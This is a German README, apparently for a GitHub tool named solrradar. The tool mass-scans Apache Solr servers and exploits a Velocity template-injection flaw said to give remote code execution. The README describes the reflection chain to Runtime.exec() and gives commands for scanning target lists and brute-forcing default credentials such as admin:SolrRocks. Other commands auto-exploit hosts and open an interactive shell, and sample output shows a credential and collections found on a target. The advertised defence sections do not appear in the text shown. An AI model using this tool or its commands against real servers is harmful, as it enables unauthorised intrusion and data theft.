Massenaufklärungs- & Exploit-Framework für Apache Solr

Velocity-Template-Injection → Remotecodeausführung

📑 Inhaltsverzeichnis

Schwachstellenübersicht
Betroffene Versionen
Funktionen
Installation
Verwendung
Beweis des Konzepts
Technischer Tiefgang
Erkennungsmethodik
Verteidigung & Schadensbegrenzung
Haftungsausschluss
Referenzen

🔴 Schwachstellenübersicht

CVE-2026-44825 ist eine kritische Schwachstelle in Apache Solr, die es Angreifern ermöglicht, durch Velocity-Template-Injection eine unauthentifizierte Remotecodeausführung (RCE) zu erreichen.

Das Problem

Der /select-Endpunkt von Apache Solr akzeptiert einen Parameter wt=velocity, der benutzergesteuerte Velocity-Templates rendert. Wenn der Velocity-Response-Writer aktiviert ist (oder über die Konfigurations-API aktiviert werden kann), kann ein Angreifer ein bösartiges Template injizieren, das java.lang.Runtime.exec() aufruft und damit beliebige Systembefehle mit den Berechtigungen des Solr-Prozesses ausführt.

Auswirkungen

Vektor	Schweregrad	Auswirkung
Unauthentifizierte RCE	9.8 (Kritisch)	Vollständige Systemkompromittierung
Authentifizierte RCE	8.8 (Hoch)	Codeausführung nach Authentifizierung
Informationsoffenlegung	5.3 (Mittel)	Aufzählung von Cores/Collections

Die Velocity-Template-Engine

Apache Solr bündelt Apache Velocity als optionale Template-Engine für die Antwortdarstellung. Die Schwachstelle liegt im VelocityResponseWriter von Solr, der benutzergesteuerte Template-Parameter ohne ausreichende Bereinigung verarbeitet und so den direkten Aufruf von Java-Reflection-APIs ermöglicht:

Java-Reflection-Kette:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 Betroffene Versionen

Apache Solr Version	Status	Hinweise
9.4.0 – 9.10.1	🔴 Verwundbar	Aktive Ausnutzung in freier Wildbahn
10.0.0	🔴 Verwundbar	Erste 10.x-Version betroffen
10.0.1+	🟢 Gepatcht	Fix zurückportiert
9.10.2+	🟢 Gepatcht	Patch-Version verfügbar
≤ 9.3.x	🟢 Nicht betroffen	Velocity-Response-Writer nicht vorhanden
8.x (alle)	🟢 Nicht betroffen	Kein Velocity-Support

Hinweis: Die Versionsprüfung erfolgt automatisch durch das Parsen der JSON-Antwort von /admin/info/system.

✨ Funktionen

🔍 Aufklärung

Multi-Ziel-Scan — 30 gleichzeitige Threads, konfigurierbar
Version-Fingerprinting — Exakte Extraktion der Solr- und Lucene-Version
Dual-Mode-Erkennung — SolrCloud + Standalone (Einzelknoten)
Auth-bewusste Sondierung — Testet 3 Admin-Endpunkte auf Basic Auth
Collection-Aufzählung — Listet Collections/Cores ohne Authentifizierung auf, wenn möglich

💀 Ausnutzung

Credential-Brute-Force — Eingebautes Wörterbuch mit Standard-Solr-Anmeldedaten
Velocity-RCE — Template-Injection via java.lang.Runtime.exec()
Interaktive Shell — Pseudo-Terminal für Befehle nach der Ausnutzung
Auto-Exploit-Kette — Erkennen → Brute-Force → RCE in einem Befehl
JSON-Export — Strukturierte Ausgabe zur Integration mit anderen Tools

📦 Installation

# Repository klonen
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# Abh&auml;ngigkeiten installieren
pip install -r requirements.txt

# &Uuml;berpr&uuml;fen
python solr_scanner.py --help

Anforderungen

requests>=2.28.0
urllib3>=1.26.0

Nur Standardbibliotheken + requests. Keine exotischen Abhängigkeiten.

📖 Verwendung

Befehlszeilenargumente

CVE-2026-44825 Apache Solr Scanner

  -t, --target     Einzelne Ziel-URL oder IP[:Port]
  -f, --file       Datei mit Zielen (eines pro Zeile, # f&uuml;r Kommentare)
  --exploit        Automatische Ausnutzung, wenn verwundbare Anmeldedaten gefunden werden
  --rce            Interaktive Shell nach der Authentifizierung starten
  -u, --user       Benutzername f&uuml;r Basic Auth
  -pw, --password  Passwort f&uuml;r Basic Auth
  -o, --output     JSON-Ausgabedateipfad          (Standard: solr_results.json)
  -w, --workers    Anzahl gleichzeitiger Threads   (Standard: 30)
  -T, --timeout    HTTP-Request-Timeout (Sekunden) (Standard: 8)

Grundlegendes Scannen

# Einzelnes Ziel
python solr_scanner.py -t 192.168.1.100:8983

# Einzelnes Ziel mit benutzerdefiniertem Pfad
python solr_scanner.py -t http://example.com/solr

# Massenscan aus Datei
python solr_scanner.py -f targets.txt -o results.json

Format der Zieldatei

# targets.txt — unterst&uuml;tzt Kommentare und Leerzeilen
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR nicht unterst&uuml;tzt; vorher mit externem Tool erweitern)

Ausnutzung

# Scannen + automatische Ausnutzung, wenn Anmeldedaten gefunden
python solr_scanner.py -f targets.txt --exploit

# Bekannte Anmeldedaten + interaktive Shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# Automatisches Brute-Force + Shell bei Erfolg
python solr_scanner.py -t target:8983 --rce

🧪 Beweis des Konzepts

Szenario 1: Erkennung & Version-Fingerprinting

$ python solr_scanner.py -f targets.txt

CVE-2026-44825 Apache Solr Scanner

Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr

Done. Total:3 | Solr:3 | Vuln:1

Alle 3 Ziele erkannt. Die 9.4.1-Instanz wird als verwundbar mit aktiviertem Basic Auth gekennzeichnet.

Szenario 2: Credential-Brute-Force

$ python solr_scanner.py -t solr-target.internal

CVE-2026-44825 Apache Solr Scanner

[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Cols: ['cms', 'users', 'search', 'analytics']

Beliebteste

solrradar